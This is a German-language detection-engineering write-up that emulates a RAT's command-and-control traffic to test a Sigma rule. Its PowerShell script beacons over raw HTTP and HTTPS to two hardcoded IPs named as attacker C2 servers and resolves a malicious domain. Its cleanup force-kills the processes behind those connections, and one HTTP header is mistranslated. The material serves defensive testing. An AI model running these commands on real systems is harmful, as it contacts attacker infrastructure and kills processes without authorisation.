Im Inneren von SHADOW-WATER-063s Banana RAT: Vom Build-Server zum Bankbetrug

Simulation der Ausführung

Voraussetzung: Die Telemetrie & Baseline Pre-flight Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Gegnertechnik (C2-Kommunikation), die zur Auslösung der Erkennungsregel entwickelt wurde. Die Befehle und die Erzählung spiegeln direkt die identifizierten TTPs wider und zielen darauf ab, die von der Erkennung erwartete genaue Telemetrie zu erzeugen.

• Angriffserzählung & Befehle:
  Der Bedrohungsakteur hat Banana RAT auf dem Endpunkt des Opfers eingesetzt. Um Persistenz zu bewahren und Befehle zu empfangen, initiiert der RAT eine ausgehende Kommunikation zu seiner festcodierten C2-Infrastruktur:

  1. HTTP-Beacon (IP 24.199.90.58:80): Öffnet einen rohen TCP-Socket und sendet eine minimale HTTP GET-Anfrage.
  2. HTTPS-Beacon (IP 162.141.111.227:443): Verwendet Invoke-WebRequest mit TLS zum C2-Server.
  3. Domain-basierter Beacon: Führt eine DNS-Abfrage für c.windowsk-cdn.comaus, die das C2 auf Abfragemenge überwacht.

  Alle drei Aktionen werden nacheinander ausgeführt, um die Chance zu maximieren, mindestens eine Auswahl in der Sigma-Regel zu treffen.

• Regressionstest-Skript:

  # -------------------------------------------------
  # Banana RAT C2-Kommunikationssimulation (TC-20260522-A1B2C)
  # -------------------------------------------------
  # 1. HTTP-Beacon zu 24.199.90.58:80
  try {
      $httpClient = New-Object System.Net.Sockets.TcpClient("24.199.90.58",80)
      $stream = $httpClient.GetStream()
      $writer = New-Object System.IO.StreamWriter($stream)
      $writer.WriteLine("GET / HTTP/1.1")
      $writer.WriteLine("Host: 24.199.90.58")
      $writer.WriteLine("Verbindung: Schließen")
      $writer.WriteLine()
      $writer.Flush()
      $reader = New-Object System.IO.StreamReader($stream)
      $response = $reader.ReadToEnd()
      $writer.Dispose()
      $reader.Dispose()
      $httpClient.Close()
  } catch { Write-Error "HTTP-Beacon fehlgeschlagen: $_" }
  
  # 2. HTTPS-Beacon zu 162.141.111.227:443
  try {
      Invoke-WebRequest -Uri "https://162.141.111.227" -UseBasicParsing -TimeoutSec 10
  } catch { Write-Error "HTTPS-Beacon fehlgeschlagen: $_" }
  
  # 3. DNS-Abfrage für bösartige Domain
  try {
      Resolve-DnsName -Name "c.windowsk-cdn.com" -Type A -ErrorAction Stop
  } catch { Write-Error "DNS-Abfrage fehlgeschlagen: $_" }
  
  # Ende der Simulation

• Aufräumkommandos:

  # -------------------------------------------------
  # Bereinigung - Entfernen aller verbleibenden Sockets oder temporären Dateien
  # -------------------------------------------------
  # Keine persistenten Artefakte werden durch die Simulation erstellt.
  # Sicherstellen, dass keine verbleibenden Netzwerkverbindungen bestehen:
  Get-NetTCPConnection -RemotePort 80,443 `
      | Where-Object {$_.RemoteAddress -in @("24.199.90.58","162.141.111.227")} `
      | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
  # DNS-Cache löschen, um nachfolgende Tests nicht zu beeinträchtigen
  Clear-DnsClientCache